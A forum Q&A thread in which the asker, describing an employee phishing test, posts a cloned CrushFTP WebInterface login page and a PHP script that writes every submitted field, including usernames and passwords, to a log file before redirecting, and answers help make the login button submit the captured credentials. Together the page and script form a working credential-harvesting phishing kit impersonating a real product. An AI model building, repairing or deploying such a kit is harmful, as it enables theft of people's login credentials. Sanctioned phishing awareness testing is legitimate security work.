Reputation: 11
I'm currently creating a phishing test for my employees and I got into a problem.I'm hosting my index.html on my local server using xampp and I want to when someone logs that I can get their info.I made a post.php that gives me the info when i use an username and password and it works.But it only works when I hit enter,when I clik on login it just redirects me to a page I made and I don't get any info in my text file.While I hover over my login button (Activate) it gives me that it redirects to the redircet page that I made.Do you have any suggestions how can I make that m,y login button(activate in the code) still gives me the info as same when I hit enter? Thank you.
My code is below for index.html.
<html><head>
</div>
<form id="loginForm" name="loginForm" method="post" action="post.php" onsubmit="return doLogin2();">
<div id="panelbody">
<div id="branding" class="clearfix branding">
<img id="loginWheel" src="web%20FTP%20WebInterface_files/wheel.gif" style="display: none;">
<a id="defaultLogoLink" href="http://www.crushftp.com/">
<img id="imgLogo" src="web%20FTP%20WebInterface_files/logo.png" style="border-width:0px;float:left;">
</a>
</div>
<div id="panelLogin">
<div>
<label id="UserNameText">Username</label>
<input tabindex="1" autocomplete="on" type="text" class="textbox" name="username" id="username" value="/">
</div>
<div>
<label id="PasswordText">Password</label>
<input tabindex="2" autocomplete="on" type="password" class="textbox" name="password" id="password" value="">
</div>
<div id="rememberMePanel">
<label><input tabindex="3" type="checkbox" name="remember" id="remember" checked="checked"> <span id="RememberMeText">Remember Me</span></label>
</div>
<div id="acceptTC" style="display: none">
<label><input tabindex="4" type="checkbox" name="tandc" id="tandc"> <span id="TnCText"></span></label>
</div>
<div style="clear:both;height:1px;padding:0px;margin:0px;"></div>
<div id="recaptcha_div"></div>
<div style="clear:both;height:1px;padding:0px;margin:0px;"></div>
<div class="submit clearfix">
<input type="submit" value="login" style="display:none;">
<input type="hidden" name="command" value="login">
<input type="hidden" name="skip_login" value="true">
<input type="hidden" name="encoded" value="false">
<input type="submit" value="login now" style="position:absolute;left:-1000px;top:-1000px;">
<a class="button" id="btnLogin" href="javascript:void(0);">
<span id="LoginButtonText">Login</span>
</a>
</div>
<p class="lostpassword" style="visibility:hidden;">
<a href="#" class="showResetPanel" id="ForgotPasswordLinkText">I forgot my password</a>
</p>
</div>
<div id="panelResetPass" style="display:none;">
<div style="clear:both;height:1px;padding:0px;margin:0px;"></div>
<h3 class="resetTitle" id="RequestPasswordHeaderText">Request Password</h3>
<div>
<label id="ResetUserNameText">Username</label>
<input autocomplete="off" type="text" class="textbox" name="resetUserName" id="resetUserName">
</div>
<div style="clear:both;height:1px;padding:0px;margin:0px;"></div>
<p></p>
<div style="clear:both;height:1px;padding:0px;margin:0px;"></div>
<div class="submit clearfix">
<a class="button" id="btnResetPassword" href="javascript:void(0);">
<span id="ResetPasswordButtonText">Reset Password</span>
</a>
<a class="button" id="btnBackToLogin" href="javascript:void(0);">
<span id="BackToLoginButtonText">Back to Login</span>
</a>
</div>
<div style="clear:both;height:1px;padding:0px;margin:0px;"></div>
<p></p>
<div style="clear:both;height:1px;padding:0px;margin:0px;"></div>
<p></p>
<div style="clear:both;height:1px;padding:0px;margin:0px;"></div>
</div>
</div>
</form>
<form id="changePassForm" method="post" target="dummyIframe" action="/WebInterface/function/" onsubmit="doLogin();">
<div id="changepasswordPanel" style="display:none;margin-bottom:10px;">
<div class="clearfix branding" style="clear:both;">
<a id="defaultLogoLink" href="http://www.crushftp.com/">
<img id="imgLogo" src="web%20FTP%20WebInterface_files/logo.png" style="border-width:0px;float:left;margin:3px 0px 10px 0px;">
</a>
</div>
<h2 class="popupHeader" style="clear:both;margin-top:15px;" id="ChangePasswordHeaderText">Change your password</h2>
<div class="passwordChangeNote" id="ChangePasswordNoteText">You must change your password to continue</div>
<div class="buttonPanel">
<label for="current_password" id="CurrentPasswordText">Current Password : </label>
<input id="current_password" class="textbox" type="password">
<br>
<br>
<label for="new_password1" id="NewPasswordText">New Password : </label>
<input id="new_password1" class="textbox" type="password">
<br>
<br>
<label for="new_password2" id="ConfirmPasswordText">Confirm Password : </label>
<input id="new_password2" class="textbox" type="password">
<div style="text-align:right;margin-top:10px;">
<a id="btnChangePasswordCancel" class="button" href="javascript:void(0);">
<span id="CancelButtonText">Cancel</span>
</a>
<a id="btnChangePassword" class="button" href="javascript:void(0);">
<span id="ChanngePasswordButtonText">Change Password</span>
</a>
</div>
<div style="clear:both"></div>
<div class="spacing">
<br>
<hr>
<br>
</div>
<div id="generatePasswordPanel">
<a id="btnGeneratePassword" class="button" href="javascript:void(0);" style="float:left">
<span id="GeneratePasswordButtonText">Generate password</span>
</a>
<div id="passwordGeneratePanel" style="display:none;">
<br>
<br>
<input id="generated_password" type="text" class="textboxSmall" style="float:left;">
<a id="usePassword" class="button" href="javascript:void(0);" style="float:left">
<span id="GeneratePasswordUseButtonText">Use this</span>
</a>
<a id="cancelPassword" class="button" href="javascript:void(0);" style="float:left">
<span id="GeneratePasswordCancelButtonText">Cancel</span>
</a>
</div>
<div style="clear:both"></div>
</div>
</div>
</div>
</form>
</div>
<div id="OTPBox" style="display:none;">
<img class="closeButton" alt="close" src="web%20FTP%20WebInterface_files/cancel.png" onclick="$.unblockUI();">
<h2 class="popupHeader" id="OTPDialogHeaderText">Enter your OTP here</h2>
<div class="buttonPanel">
<div style="width:100%;">
<input id="otp" type="password" style="width:95%;padding:5px;">
</div>
<br>
<div id="OTPDialogDescText"></div>
<br>
<div style="text-align: right; margin-top: 10px;">
<button id="btnSubmitOTP">
<span id="OTPSubmitButtonText">Submit</span>
</button>
</div>
</div>
</div>
<div id="loginPageFooterText">
</div>
<iframe id="dummyIframe" name="dummyIframe" src="javascript:false;" style="display:none;"></iframe>
</body></html>
this is my post.php
<?php
// Set the location to redirect the page
header ('Location: http://localhost/redirect.html');
// Open the text file in writing mode
$file = fopen("log.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($file, $variable);
fwrite($file, "=");
fwrite($file, $value);
fwrite($file, "\r\n");
}
fwrite($file, "\r\n");
fclose($file);
exit;
?>
Upvotes: -2
Views: 284
Reputation: 11
The button works now,I had to change the span id into button id in the code for the login button,so it looks like this now.
<a class="button" id="btnLogin" action="post.php" href="localhost/redirect.html">
<button id="btnLogin" >Activate</button>
Upvotes: 0
Reputation:
You have two different forms in your code. If you don't have an active input box hitting enter could be submitting one of the forms, while clicking submits the other form. Check which form your button is in and make sure both of them have "name" elements. Also unsure if having a submit button that's hidden via CSS could be triggered by an enter button.
Upvotes: 0